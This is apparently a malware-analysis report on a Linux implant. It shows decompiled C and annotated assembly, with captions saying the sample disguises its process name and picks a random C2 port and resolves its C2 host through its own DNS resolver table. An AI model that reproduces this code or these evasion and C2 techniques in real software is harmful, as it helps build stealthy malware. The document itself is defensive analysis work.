      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
      puVar14 = puVar14 + (ulong)bVar20 * -2 + 1;
    }
    puVar16[uVar12 + 4] = iVar5 == 0;
    local_578 = bVar1;
    puVar15 = local_577;
    for (uVar18 = uVar19; uVar18 != 0; uVar18 = uVar18 - 1) {
      *puVar15 = *param_2;
      param_2 = param_2 + (ulong)bVar20 * -2 + 1;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
    }
    *puVar15 = (char)iVar4;
    puVar14 = puVar15 + 4;
    *(undefined2 *)(puVar15 + 1) = uVar3;
    puVar15[3] = (char)uVar12;
    puVar15 = local_5b8;
    puVar16 = puVar14;
    for (uVar18 = uVar12 & 0xffffffff; uVar18 != 0; uVar18 = uVar18 - 1) {
      *puVar16 = *puVar15;
      puVar15 = puVar15 + (ulong)bVar20 * -2 + 1;
      puVar16 = puVar16 + (ulong)bVar20 * -2 + 1;
    }
    puVar14[uVar12] = iVar5 == 0;
    (puVar14 + uVar12)[1] = 1;
    FUN_00411926();
    lVar6 = FUN_0041233f(local_278,0x240);
    if (lVar6 == 0x13) {
      iVar4 = FUN_00411a32(local_278,0x240,0x13,&local_578,uVar19 + 7 + uVar12);
      if ((-1 < iVar4) && (cVar2 = FUN_00411c7d(param_1,local_278,(long)iVar4), cVar2 != '\0')) {
        thunk_FUN_0040d215(&local_578,0x100);
        thunk_FUN_0040d215(local_278,0x240);
        puVar17 = local_478;
        for (lVar6 = 0x80; lVar6 != 0; lVar6 = lVar6 + -1) {
          *(undefined4 *)puVar17 = 0;
          puVar17 = (ulong *)((long)puVar17 + (ulong)bVar20 * -8 + 4);
        }
        thunk_FUN_0040d215(local_478,0x200);
        lVar6 = FUN_0041daf0(0);
        DAT_0062f078 = lVar6 + 0x23;
        return;
      }
      FUN_00411926();
    }
  }
LAB_00413836:
  FUN_00412c9a();
  return;
}

Assembly · 378 instructions, 1 annotated
AddressBytesInstructionComment
004132d041 57PUSH R15
004132d241 56PUSH R14
004132d441 55PUSH R13
004132d641 54PUSH R12
004132d855PUSH RBP
004132d953PUSH RBX
004132da48 81 ec a8 05 00 00SUB RSP,0x5a8
004132e189 7c 24 18MOV dword ptr [RSP + local_5c0],EDI
004132e548 89 34 24MOV qword ptr [RSP],RSI
004132e9e8 23 f2 ff ffCALL FUN_00412511
004132ee85 c0TEST EAX,EAX
004132f00f 84 40 05 00 00JZ LAB_00413836
004132f6e8 4e f3 ff ffCALL FUN_00412649; FUN_00412649: unknown
004132fb48 8b 3c 24MOV RDI,qword ptr [RSP]
004132ff4c 8d 25 78 1c 01 00LEA R12,[DAT_00424f7e]
0041330631 dbXOR EBX,EBX
0041330848 8d ac 24 60 03 00 00LEA RBP,[RSP + 0x360]
00413310e8 eb 9b 00 00CALL FUN_0041cf00
004133154c 89 e6MOV RSI,R12
0041331848 89 44 24 08MOV qword ptr [RSP + local_5d0],RAX
0041331d48 8b 05 cc b3 21 00MOV RAX,qword ptr [DAT_0062e6f0]
0041332448 8b b8 e0 0d 00 00MOV RDI,qword ptr [RAX + 0xde0]
0041332be8 03 93 00 00CALL FUN_0041c633
0041333049 89 c5MOV R13,RAX
0041333348 85 c0TEST RAX,RAX
0041333674 50JZ LAB_00413388
LAB_00413338:
004133384c 89 eaMOV RDX,R13
0041333bbe 00 01 00 00MOV ESI,0x100
0041334048 89 efMOV RDI,RBP
00413343e8 8f 91 00 00CALL FUN_0041c4d7
0041334848 85 c0TEST RAX,RAX
0041334b74 29JZ LAB_00413376
0041334d48 8b 05 9c b3 21 00MOV RAX,qword ptr [DAT_0062e6f0]
0041335448 63 90 48 0e 00 00MOVSXD RDX,dword ptr [RAX + 0xe48]
0041335b85 d2TEST EDX,EDX
0041335d7e d9JLE LAB_00413338
0041335f48 8b b0 40 0e 00 00MOV RSI,qword ptr [RAX + 0xe40]
0041336648 89 efMOV RDI,RBP
00413369e8 62 9c 00 00CALL FUN_0041cfd0
0041336e83 f8 01CMP EAX,0x1
0041337183 d3 00ADC EBX,0x0
00413374eb c2JMP LAB_00413338
LAB_00413376:
004133764c 89 efMOV RDI,R13
00413379e8 88 8f 00 00CALL FUN_0041c306
0041337e8d 43 ffLEA EAX,[RBX + -0x1]
004133813d fe 00 00 00CMP EAX,0xfe
0041338676 1aJBE LAB_004133a2
LAB_00413388:
00413388bf 54 00 00 00MOV EDI,0x54
0041338db3 01MOV BL,0x1
0041338fe8 5c 42 00 00CALL FUN_004175f0
0041339448 8d 50 ffLEA RDX,[RAX + -0x1]
0041339848 81 fa fe 00 00 00CMP RDX,0xfe
0041339f0f 46 d8CMOVBE EBX,EAX
LAB_004133a2:
004133a248 8b 05 47 b3 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004133a94c 89 e6MOV RSI,R12
004133ac48 8b b8 f0 0d 00 00MOV RDI,qword ptr [RAX + 0xdf0]
004133b3e8 7b 92 00 00CALL FUN_0041c633
004133b848 89 c5MOV RBP,RAX
004133bb48 85 c0TEST RAX,RAX
004133be74 7dJZ LAB_0041343d
004133c048 c7 84 24 60 01 00 00 …MOV qword ptr [RSP + local_478],0x0
004133cc4c 8d ac 24 60 03 00 00LEA R13,[RSP + 0x360]
LAB_004133d4:
004133d448 89 eaMOV RDX,RBP
004133d7be 00 01 00 00MOV ESI,0x100
004133dc4c 89 efMOV RDI,R13
004133dfe8 f3 90 00 00CALL FUN_0041c4d7
004133e448 85 c0TEST RAX,RAX
004133e774 28JZ LAB_00413411
004133e9bf b2 01 00 00MOV EDI,0x1b2
004133eee8 1a f8 ff ffCALL FUN_00412c0d
004133f348 89 c6MOV RSI,RAX
004133f648 85 c0TEST RAX,RAX
004133f974 d9JZ LAB_004133d4
004133fb31 c0XOR EAX,EAX
004133fd48 8d 94 24 60 01 00 00LEA RDX,[RSP + 0x160]
004134054c 89 efMOV RDI,R13
00413408e8 46 94 00 00CALL FUN_0041c853
0041340dff c8DEC EAX
0041340f75 c3JNZ LAB_004133d4
LAB_00413411:
0041341148 89 efMOV RDI,RBP
00413414e8 ed 8e 00 00CALL FUN_0041c306
0041341948 8b 84 24 60 01 00 00MOV RAX,qword ptr [RSP + local_478]
0041342148 85 c0TEST RAX,RAX
0041342474 17JZ LAB_0041343d
0041342641 be ff ff 00 00MOV R14D,0xffff
0041342c48 3d ff ff ff 03CMP RAX,0x3ffffff
0041343277 5bJA LAB_0041348f
0041343448 c1 e8 0aSHR RAX,0xa
0041343849 89 c6MOV R14,RAX
0041343beb 52JMP LAB_0041348f
LAB_0041343d:
0041343dbf 55 00 00 00MOV EDI,0x55
00413442e8 a9 41 00 00CALL FUN_004175f0
00413447bf 1e 00 00 00MOV EDI,0x1e
0041344c48 89 c5MOV RBP,RAX
0041344fe8 9c 41 00 00CALL FUN_004175f0
0041345448 85 edTEST RBP,RBP
004134577e 30JLE LAB_00413489
0041345948 85 c0TEST RAX,RAX
0041345c7e 2bJLE LAB_00413489
0041345e48 ba ff ff ff ff 0f 00 …MOV RDX,0xfffffffff
0041346848 0f af c5IMUL RAX,RBP
0041346c48 39 d0CMP RAX,RDX
0041346f77 0eJA LAB_0041347f
0041347148 c1 e8 14SHR RAX,0x14
0041347541 be 00 04 00 00MOV R14D,0x400
0041347b74 12JZ LAB_0041348f
0041347deb 05JMP LAB_00413484
LAB_0041347f:
0041347fb8 ff ff 00 00MOV EAX,0xffff
LAB_00413484:
0041348441 89 c6MOV R14D,EAX
00413487eb 06JMP LAB_0041348f
LAB_00413489:
0041348941 be 00 04 00 00MOV R14D,0x400
LAB_0041348f:
0041348fbf 4f 01 00 00MOV EDI,0x14f
00413494e8 74 f7 ff ffCALL FUN_00412c0d
0041349948 89 c6MOV RSI,RAX
0041349c48 85 c0TEST RAX,RAX
0041349f74 45JZ LAB_004134e6
004134a18a 00MOV AL,byte ptr [RAX]
004134a33c 2fCMP AL,0x2f
004134a574 3fJZ LAB_004134e6
004134a784 c0TEST AL,AL
004134a974 3bJZ LAB_004134e6
004134ab48 ba 04 e0 ff ff ff ff …MOV RDX,-0x4000000001ffc
004134b548 89 f0MOV RAX,RSI
LAB_004134b8:
004134b88a 08MOV CL,byte ptr [RAX]
004134ba84 c9TEST CL,CL
004134bc0f 84 d5 03 00 00JZ LAB_00413897
004134c28d 79 9fLEA EDI,[RCX + -0x61]
004134c540 80 ff 19CMP DIL,0x19
004134c976 16JBE LAB_004134e1
004134cb83 e9 2dSUB ECX,0x2d
004134ce80 f9 32CMP CL,0x32
004134d177 13JA LAB_004134e6
004134d348 89 d7MOV RDI,RDX
004134d648 d3 ffSAR RDI,CL
004134d948 89 f9MOV RCX,RDI
004134dc80 e1 01AND CL,0x1
004134df75 05JNZ LAB_004134e6
LAB_004134e1:
004134e148 ff c0INC RAX
004134e4eb d2JMP LAB_004134b8
LAB_004134e6:
004134e64c 8d ac 24 60 03 00 00LEA R13,[RSP + 0x360]
004134ee48 8d 6c 24 20LEA RBP,[RSP + 0x20]
004134f34c 89 efMOV RDI,R13
004134f6e8 fc 5f 00 00CALL FUN_004194f7
004134fb48 8d b4 24 64 04 00 00LEA RSI,[RSP + 0x464]
0041350385 c0TEST EAX,EAX
004135050f 84 ed 01 00 00JZ LAB_004136f8
0041350b48 8b 05 de b1 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004135124c 89 e6MOV RSI,R12
0041351548 8b b8 00 0e 00 00MOV RDI,qword ptr [RAX + 0xe00]
0041351ce8 12 91 00 00CALL FUN_0041c633
0041352149 89 c7MOV R15,RAX
0041352448 85 c0TEST RAX,RAX
004135270f 84 bd 01 00 00JZ LAB_004136ea
0041352d48 89 c2MOV RDX,RAX
00413530be 00 02 00 00MOV ESI,0x200
004135354c 89 efMOV RDI,R13
00413538e8 9a 8f 00 00CALL FUN_0041c4d7
0041353d4c 8b 25 ac b1 21 00MOV R12,qword ptr [DAT_0062e6f0]
0041354448 85 c0TEST RAX,RAX
004135470f 84 79 01 00 00JZ LAB_004136c6
0041354d49 8b b4 24 00 0f 00 00MOV RSI,qword ptr [R12 + 0xf00]
0041355548 85 f6TEST RSI,RSI
0041355874 16JZ LAB_00413570
0041355a4c 89 efMOV RDI,R13
0041355d48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413562e8 d9 9f 00 00CALL FUN_0041d540
0041356748 85 c0TEST RAX,RAX
0041356a0f 85 4a 01 00 00JNZ LAB_004136ba
LAB_00413570:
0041357049 8b b4 24 10 0f 00 00MOV RSI,qword ptr [R12 + 0xf10]
0041357848 85 f6TEST RSI,RSI
0041357b74 16JZ LAB_00413593
0041357d4c 89 efMOV RDI,R13
0041358048 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413585e8 b6 9f 00 00CALL FUN_0041d540
0041358a48 85 c0TEST RAX,RAX
0041358d0f 85 27 01 00 00JNZ LAB_004136ba
LAB_00413593:
0041359349 8b b4 24 20 0f 00 00MOV RSI,qword ptr [R12 + 0xf20]
0041359b48 85 f6TEST RSI,RSI
0041359e74 16JZ LAB_004135b6
004135a04c 89 efMOV RDI,R13
004135a348 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
004135a8e8 93 9f 00 00CALL FUN_0041d540
004135ad48 85 c0TEST RAX,RAX
004135b00f 85 04 01 00 00JNZ LAB_004136ba
LAB_004135b6:
004135b649 8b b4 24 30 0f 00 00MOV RSI,qword ptr [R12 + 0xf30]
004135be48 85 f6TEST RSI,RSI
004135c174 16JZ LAB_004135d9
004135c34c 89 efMOV RDI,R13
004135c648 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
004135cbe8 70 9f 00 00CALL FUN_0041d540
004135d048 85 c0TEST RAX,RAX
004135d30f 85 e1 00 00 00JNZ LAB_004136ba
LAB_004135d9:
004135d949 8b b4 24 40 0f 00 00MOV RSI,qword ptr [R12 + 0xf40]
004135e148 85 f6TEST RSI,RSI
004135e474 16JZ LAB_004135fc
004135e64c 89 efMOV RDI,R13
004135e948 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
004135eee8 4d 9f 00 00CALL FUN_0041d540
004135f348 85 c0TEST RAX,RAX
004135f60f 85 be 00 00 00JNZ LAB_004136ba
LAB_004135fc:
004135fc49 8b b4 24 50 0f 00 00MOV RSI,qword ptr [R12 + 0xf50]
0041360448 85 f6TEST RSI,RSI
0041360774 16JZ LAB_0041361f
004136094c 89 efMOV RDI,R13
0041360c48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413611e8 2a 9f 00 00CALL FUN_0041d540
0041361648 85 c0TEST RAX,RAX
004136190f 85 9b 00 00 00JNZ LAB_004136ba
LAB_0041361f:
0041361f49 8b b4 24 60 0f 00 00MOV RSI,qword ptr [R12 + 0xf60]
0041362748 85 f6TEST RSI,RSI
0041362a74 12JZ LAB_0041363e
0041362c4c 89 efMOV RDI,R13
0041362f48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413634e8 07 9f 00 00CALL FUN_0041d540
0041363948 85 c0TEST RAX,RAX
0041363c75 7cJNZ LAB_004136ba
LAB_0041363e:
0041363e49 8b b4 24 70 0f 00 00MOV RSI,qword ptr [R12 + 0xf70]
0041364648 85 f6TEST RSI,RSI
0041364974 12JZ LAB_0041365d
0041364b4c 89 efMOV RDI,R13
0041364e48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413653e8 e8 9e 00 00CALL FUN_0041d540
0041365848 85 c0TEST RAX,RAX
0041365b75 5dJNZ LAB_004136ba
LAB_0041365d:
0041365d49 8b b4 24 80 0f 00 00MOV RSI,qword ptr [R12 + 0xf80]
0041366548 85 f6TEST RSI,RSI
0041366874 12JZ LAB_0041367c
0041366a4c 89 efMOV RDI,R13
0041366d48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413672e8 c9 9e 00 00CALL FUN_0041d540
0041367748 85 c0TEST RAX,RAX
0041367a75 3eJNZ LAB_004136ba
LAB_0041367c:
0041367c49 8b b4 24 90 0f 00 00MOV RSI,qword ptr [R12 + 0xf90]
0041368448 85 f6TEST RSI,RSI
0041368774 12JZ LAB_0041369b
004136894c 89 efMOV RDI,R13
0041368c48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
00413691e8 aa 9e 00 00CALL FUN_0041d540
0041369648 85 c0TEST RAX,RAX
0041369975 1fJNZ LAB_004136ba
LAB_0041369b:
0041369b49 8b b4 24 a0 0f 00 00MOV RSI,qword ptr [R12 + 0xfa0]
004136a348 85 f6TEST RSI,RSI
004136a674 1eJZ LAB_004136c6
004136a84c 89 efMOV RDI,R13
004136ab48 89 74 24 10MOV qword ptr [RSP + local_5c8],RSI
004136b0e8 8b 9e 00 00CALL FUN_0041d540
004136b548 85 c0TEST RAX,RAX
004136b874 0cJZ LAB_004136c6
LAB_004136ba:
004136ba48 8b 74 24 10MOV RSI,qword ptr [RSP + local_5c8]
004136bfba 3f 00 00 00MOV EDX,0x3f
004136c4eb 0dJMP LAB_004136d3
LAB_004136c6:
004136c649 8b b4 24 b0 0f 00 00MOV RSI,qword ptr [R12 + 0xfb0]
004136ceba 3f 00 00 00MOV EDX,0x3f
LAB_004136d3:
004136d348 89 efMOV RDI,RBP
004136d6e8 75 99 00 00CALL FUN_0041d050
004136db4c 89 ffMOV RDI,R15
004136dec6 44 24 5f 00MOV byte ptr [RSP + local_579],0x0
004136e3e8 1e 8c 00 00CALL FUN_0041c306
004136e8eb 20JMP LAB_0041370a
LAB_004136ea:
004136ea48 8b 05 ff af 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004136f148 8b b0 b0 0f 00 00MOV RSI,qword ptr [RAX + 0xfb0]
LAB_004136f8:
004136f8ba 3f 00 00 00MOV EDX,0x3f
004136fd48 89 efMOV RDI,RBP
LAB_00413700:
00413700e8 4b 99 00 00CALL FUN_0041d050
00413705c6 44 24 5f 00MOV byte ptr [RSP + local_579],0x0
LAB_0041370a:
0041370a4c 8d 6c 24 20LEA R13,[RSP + 0x20]
0041370f4c 8d a4 24 60 01 00 00LEA R12,[RSP + 0x160]
004137174c 89 efMOV RDI,R13
0041371ae8 e1 97 00 00CALL FUN_0041cf00
0041371f48 89 c5MOV RBP,RAX
00413722e8 0a a5 00 00CALL FUN_0041dc31
00413727b9 80 00 00 00MOV ECX,0x80
0041372c4c 89 e7MOV RDI,R12
0041372fbe 00 02 00 00MOV ESI,0x200
0041373441 89 c7MOV R15D,EAX
0041373731 c0XOR EAX,EAX
00413739f3 abSTOSD.REP RDI
0041373b4c 89 e7MOV RDI,R12
0041373ee8 fc eb ff ffCALL FUN_0041233f
0041374348 83 f8 13CMP RAX,0x13
004137470f 85 e9 00 00 00JNZ LAB_00413836
0041374d45 85 ffTEST R15D,R15D
0041375044 0f b6 7c 24 08MOVZX R15D,byte ptr [RSP + local_5d0]
0041375648 8d 94 24 74 01 00 00LEA RDX,[RSP + 0x174]
0041375e48 8b 34 24MOV RSI,qword ptr [RSP]
0041376248 89 d7MOV RDI,RDX
0041376541 0f 94 c0SETZ R8B
0041376944 88 bc 24 73 01 00 00MOV byte ptr [RSP + local_465],R15B
004137714c 89 f9MOV RCX,R15
00413774f3 a4MOVSB.REP RDI,RSI
0041377644 88 44 24 1fMOV byte ptr [RSP + local_5b9],R8B
0041377b88 1fMOV byte ptr [RDI],BL
0041377d48 89 7c 24 10MOV qword ptr [RSP + local_5c8],RDI
0041378241 0f b7 feMOVZX EDI,R14W
004137864c 8d 74 24 60LEA R14,[RSP + 0x60]
0041378be8 7d 63 00 00CALL FUN_00419b0d
0041379048 8b 54 24 10MOV RDX,qword ptr [RSP + local_5c8]
004137954c 89 eeMOV RSI,R13
0041379889 e9MOV ECX,EBP
0041379a44 8a 44 24 1fMOV R8B,byte ptr [RSP + local_5b9]
0041379f4c 8d 4a 04LEA R9,[RDX + 0x4]
004137a366 89 42 01MOV word ptr [RDX + local_462],AX
004137a740 88 6a 03MOV byte ptr [RDX + local_460],BPL
004137ab4c 89 cfMOV RDI,R9
004137aef3 a4MOVSB.REP RDI,RSI
004137b08a 4c 24 08MOV CL,byte ptr [RSP + local_5d0]
004137b448 8b 34 24MOV RSI,qword ptr [RSP]
004137b844 88 44 2a 04MOV byte ptr [RDX + RBP*0x1 + 0x4],R8B
004137bd48 8d 54 24 61LEA RDX,[RSP + 0x61]
004137c288 4c 24 60MOV byte ptr [RSP + local_578],CL
004137c648 89 d7MOV RDI,RDX
004137c94c 89 f9MOV RCX,R15
004137ccf3 a4MOVSB.REP RDI,RSI
004137ce4c 89 eeMOV RSI,R13
004137d189 e9MOV ECX,EBP
004137d34c 8d ac 24 60 03 00 00LEA R13,[RSP + 0x360]
004137db48 89 faMOV RDX,RDI
004137de88 1fMOV byte ptr [RDI],BL
004137e048 83 c2 04ADD RDX,0x4
004137e466 89 47 01MOV word ptr [RDI + local_575],AX
004137e840 88 6f 03MOV byte ptr [RDI + local_573],BPL
004137ec48 89 d7MOV RDI,RDX
004137ef48 01 eaADD RDX,RBP
004137f2f3 a4MOVSB.REP RDI,RSI
004137f444 88 02MOV byte ptr [RDX],R8B
004137f7c6 42 01 01MOV byte ptr [RDX + 0x1],0x1
004137fbe8 26 e1 ff ffCALL FUN_00411926
00413800be 40 02 00 00MOV ESI,0x240
004138054c 89 efMOV RDI,R13
00413808e8 32 eb ff ffCALL FUN_0041233f
0041380d48 83 f8 13CMP RAX,0x13
0041381175 23JNZ LAB_00413836
004138134d 8d 44 2f 07LEA R8,[R15 + RBP*0x1 + 0x7]
004138184c 89 f1MOV RCX,R14
0041381bba 13 00 00 00MOV EDX,0x13
004138204c 89 efMOV RDI,R13
00413823be 40 02 00 00MOV ESI,0x240
00413828e8 05 e2 ff ffCALL FUN_00411a32
0041382d85 c0TEST EAX,EAX
0041382f79 0cJNS LAB_0041383d
LAB_00413831:
00413831e8 f0 e0 ff ffCALL FUN_00411926
LAB_00413836:
00413836e8 5f f4 ff ffCALL FUN_00412c9a
0041383beb 69JMP LAB_004138a6
LAB_0041383d:
0041383d8b 7c 24 18MOV EDI,dword ptr [RSP + local_5c0]
0041384148 63 d0MOVSXD RDX,EAX
004138444c 89 eeMOV RSI,R13
00413847e8 31 e4 ff ffCALL FUN_00411c7d
0041384c84 c0TEST AL,AL
0041384e74 e1JZ LAB_00413831
00413850be 00 01 00 00MOV ESI,0x100
004138554c 89 f7MOV RDI,R14
00413858e8 bf 99 ff ffCALL thunk_FUN_0040d215
0041385dbe 40 02 00 00MOV ESI,0x240
004138624c 89 efMOV RDI,R13
00413865e8 b2 99 ff ffCALL thunk_FUN_0040d215
0041386a31 c0XOR EAX,EAX
0041386cb9 80 00 00 00MOV ECX,0x80
004138714c 89 e7MOV RDI,R12
00413874f3 abSTOSD.REP RDI
00413876be 00 02 00 00MOV ESI,0x200
0041387b4c 89 e7MOV RDI,R12
0041387ee8 99 99 ff ffCALL thunk_FUN_0040d215
0041388331 ffXOR EDI,EDI
00413885e8 66 a2 00 00CALL FUN_0041daf0
0041388a48 83 c0 23ADD RAX,0x23
0041388e48 89 05 e3 b7 21 00MOV qword ptr [DAT_0062f078],RAX
00413895eb 0fJMP LAB_004138a6
LAB_00413897:
0041389748 8d 7c 24 20LEA RDI,[RSP + 0x20]
0041389cba 3f 00 00 00MOV EDX,0x3f
004138a1e9 5a fe ff ffJMP LAB_00413700
LAB_004138a6:
004138a648 81 c4 a8 05 00 00ADD RSP,0x5a8
004138ad5bPOP RBX
004138ae5dPOP RBP
004138af41 5cPOP R12
004138b141 5dPOP R13
004138b341 5ePOP R14
004138b541 5fPOP R15
004138b7c3RET

overwrites argv[0] with a store process…

0x4139d0218 bytes
undefined FUN_004139d0()

overwrites argv[0] with a store process name padded with spaces

Cited as
E11
Behaviours
B3
Called from
FUN_004001d0
Calls
FUN_0040d152, FUN_00417ea8, FUN_0041bc9b, FUN_0041bca6, FUN_0041daf0
Decompiled C · 70 lines
void FUN_004139d0(undefined8 *param_1)

{
  undefined4 uVar1;
  int iVar2;
  ulong uVar3;
  long lVar4;
  undefined8 *puVar5;
  undefined8 *puVar6;
  undefined1 *puVar7;
  undefined8 *puVar8;
  byte bVar9;
  undefined8 local_d9 [7];
  undefined1 local_9a;
  undefined8 local_99;
  undefined8 uStack_91;
  undefined1 local_89 [121];
  
  bVar9 = 0;
  uVar1 = FUN_0041daf0(0);
  FUN_0041bc9b(uVar1);
  iVar2 = FUN_0041bca6();
  if (DAT_0062e6f0 != 0) {
    puVar5 = (undefined8 *)((long)(iVar2 % 8 + 0xe7) * 0x10 + DAT_0062e6f0);
    if (((undefined1 *)*puVar5 != (undefined1 *)0x0) &&
       (uVar3 = (ulong)*(uint *)(puVar5 + 1), *(uint *)(puVar5 + 1) - 1 < 0x3f)) {
      puVar6 = local_d9;
      puVar7 = (undefined1 *)*puVar5;
      puVar8 = puVar6;
      for (; uVar3 != 0; uVar3 = uVar3 - 1) {
        *(undefined1 *)puVar8 = *puVar7;
        puVar7 = puVar7 + (ulong)bVar9 * -2 + 1;
        puVar8 = (undefined8 *)((long)puVar8 + (ulong)bVar9 * -2 + 1);
      }
      iVar2 = *(int *)(puVar5 + 1);
      if (0 < iVar2) {
        puVar7 = (undefined1 *)((long)puVar6 + (long)iVar2);
        uVar3 = (ulong)(0x40 - iVar2);
        if (0x40 < iVar2) {
          uVar3 = 0;
        }
        for (; uVar3 != 0; uVar3 = uVar3 - 1) {
          *puVar7 = 0x20;
          puVar7 = puVar7 + (ulong)bVar9 * -2 + 1;
        }
        local_9a = 0;
        goto LAB_00413a86;
      }
    }
  }
  puVar7 = local_89;
  for (lVar4 = 0x71; lVar4 != 0; lVar4 = lVar4 + -1) {
    *puVar7 = 0;
    puVar7 = puVar7 + (ulong)bVar9 * -2 + 1;
  }
  puVar6 = &local_99;
  local_99 = 0;
  uStack_91 = 0;
  puVar5 = puVar6;
  for (lVar4 = 0x80; lVar4 != 0; lVar4 = lVar4 + -1) {
    *(undefined1 *)puVar5 = 0x20;
    puVar5 = (undefined8 *)((long)puVar5 + (ulong)bVar9 * -2 + 1);
  }
LAB_00413a86:
  FUN_0040d152(*param_1,puVar6);
  FUN_00417ea8(0xf,puVar6);
  return;
}

Assembly · 66 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
004139d055PUSH RBP; E11
004139d153PUSH RBX
004139d248 89 fbMOV RBX,RDI
004139d531 ffXOR EDI,EDI
004139d748 81 ec d8 00 00 00SUB RSP,0xd8
004139dee8 0d a1 00 00CALL FUN_0041daf0
004139e389 c7MOV EDI,EAX
004139e5e8 b1 82 00 00CALL FUN_0041bc9b
004139eae8 b7 82 00 00CALL FUN_0041bca6
004139ef48 8b 0d fa ac 21 00MOV RCX,qword ptr [DAT_0062e6f0]
004139f648 85 c9TEST RCX,RCX
004139f974 64JZ LAB_00413a5f
004139fbbe 08 00 00 00MOV ESI,0x8
00413a0099CDQ
00413a01f7 feIDIV ESI
00413a0381 c2 e7 00 00 00ADD EDX,0xe7
00413a0948 63 d2MOVSXD RDX,EDX
00413a0c48 c1 e2 04SHL RDX,0x4
00413a1048 01 caADD RDX,RCX
00413a1348 8b 32MOV RSI,qword ptr [RDX]
00413a1648 85 f6TEST RSI,RSI
00413a1974 44JZ LAB_00413a5f
00413a1b8b 42 08MOV EAX,dword ptr [RDX + 0x8]
00413a1e8d 48 ffLEA ECX,[RAX + -0x1]
00413a2183 f9 3eCMP ECX,0x3e
00413a2477 39JA LAB_00413a5f
00413a2648 8d 6c 24 0fLEA RBP,[RSP + 0xf]
00413a2b48 89 c1MOV RCX,RAX
00413a2e48 89 efMOV RDI,RBP
00413a31f3 a4MOVSB.REP RDI,RSI
00413a3348 63 7a 08MOVSXD RDI,dword ptr [RDX + 0x8]
00413a3748 89 c8MOV RAX,RCX
00413a3a85 ffTEST EDI,EDI
00413a3c7e 21JLE LAB_00413a5f
00413a3eb9 40 00 00 00MOV ECX,0x40
00413a4348 8d 54 3d 00LEA RDX,[RBP + RDI*0x1]
00413a4829 f9SUB ECX,EDI
00413a4a83 ff 40CMP EDI,0x40
00413a4d48 89 d7MOV RDI,RDX
00413a5048 0f 4f c8CMOVG RCX,RAX
00413a54b0 20MOV AL,0x20
00413a56f3 aaSTOSB.REP RDI
00413a58c6 44 24 4e 00MOV byte ptr [RSP + local_9a],0x0
00413a5deb 27JMP LAB_00413a86
LAB_00413a5f:
00413a5f31 c0XOR EAX,EAX
00413a6148 8d 7c 24 5fLEA RDI,[RSP + 0x5f]
00413a660f 57 c0XORPS XMM0,XMM0
00413a69b9 71 00 00 00MOV ECX,0x71
00413a6ef3 aaSTOSB.REP RDI
00413a7048 8d 6c 24 4fLEA RBP,[RSP + 0x4f]
00413a75b9 80 00 00 00MOV ECX,0x80
00413a7ab0 20MOV AL,0x20
00413a7c48 89 efMOV RDI,RBP
00413a7f0f 11 44 24 4fMOVUPS xmmword ptr [RSP + local_99[0]],XMM0
00413a84f3 aaSTOSB.REP RDI
LAB_00413a86:
00413a8648 8b 3bMOV RDI,qword ptr [RBX]
00413a8948 89 eeMOV RSI,RBP
00413a8ce8 c1 96 ff ffCALL FUN_0040d152
00413a9148 89 eeMOV RSI,RBP
00413a94bf 0f 00 00 00MOV EDI,0xf
00413a9931 c0XOR EAX,EAX
00413a9be8 08 44 00 00CALL FUN_00417ea8
00413aa048 81 c4 d8 00 00 00ADD RSP,0xd8
00413aa75bPOP RBX
00413aa85dPOP RBP
00413aa9c3RET

picks a random C2 port from the…

0x413aaa54 bytes
undefined FUN_00413aaa()

picks a random C2 port from the 14-entry table at 0x4287e0

Cited as
E29, E30
Behaviours
B6
Called from
FUN_004001d0
Calls
FUN_0040caad, FUN_00419b0d
Decompiled C · 22 lines
void FUN_00413aaa(void)

{
  uint uVar1;
  long lVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 local_24 [9];
  
  puVar3 = &DAT_004287e0;
  puVar4 = local_24;
  for (lVar2 = 7; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  uVar1 = FUN_0040caad();
  FUN_00419b0d(*(undefined2 *)((long)local_24 + ((ulong)uVar1 % 0xe) * 2));
  return;
}

Assembly · 13 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
00413aaa48 83 ec 28SUB RSP,0x28; E29
00413aae48 8d 35 2b 4d 01 00LEA RSI,[DAT_004287e0]
00413ab5b9 07 00 00 00MOV ECX,0x7
00413aba48 8d 7c 24 04LEA RDI,[RSP + 0x4]
00413abff3 a5MOVSD.REP RDI,RSI
00413ac1e8 e7 8f ff ffCALL FUN_0040caad
00413ac6b9 0e 00 00 00MOV ECX,0xe
00413acb31 d2XOR EDX,EDX
00413acd89 c0MOV EAX,EAX
00413acf48 f7 f1DIV RCX
00413ad20f b7 7c 54 04MOVZX EDI,word ptr [RSP + RDX*0x2 + 0x4]
00413ad748 83 c4 28ADD RSP,0x28
00413adbe9 2d 60 00 00JMP FUN_00419b0d

resolves the C2 name

0x414193526 bytes
undefined FUN_00414193()

resolves the C2 name: literal, getaddrinfo, else own DNS to an 18-entry resolver table

Cited as
E17
Behaviours
B6
Called from
FUN_004143a1
Calls
thunk_FUN_0040d215, FUN_00413b63, FUN_00413bfa, FUN_00413c4d, FUN_00413e9a, FUN_00414172, FUN_00417f10, FUN_004196b7, FUN_0041970a, FUN_00419b08, FUN_00419ee7, FUN_0041c853, FUN_0041daf0
Decompiled C · 86 lines
char * FUN_00414193(char *param_1)

{
  undefined4 *puVar1;
  uint uVar2;
  long lVar3;
  char cVar4;
  int iVar5;
  undefined4 uVar6;
  char *pcVar7;
  long lVar8;
  long lVar9;
  uint local_6c;
  uint local_68;
  uint local_64;
  uint local_60;
  undefined4 uStack_5c;
  undefined4 local_58;
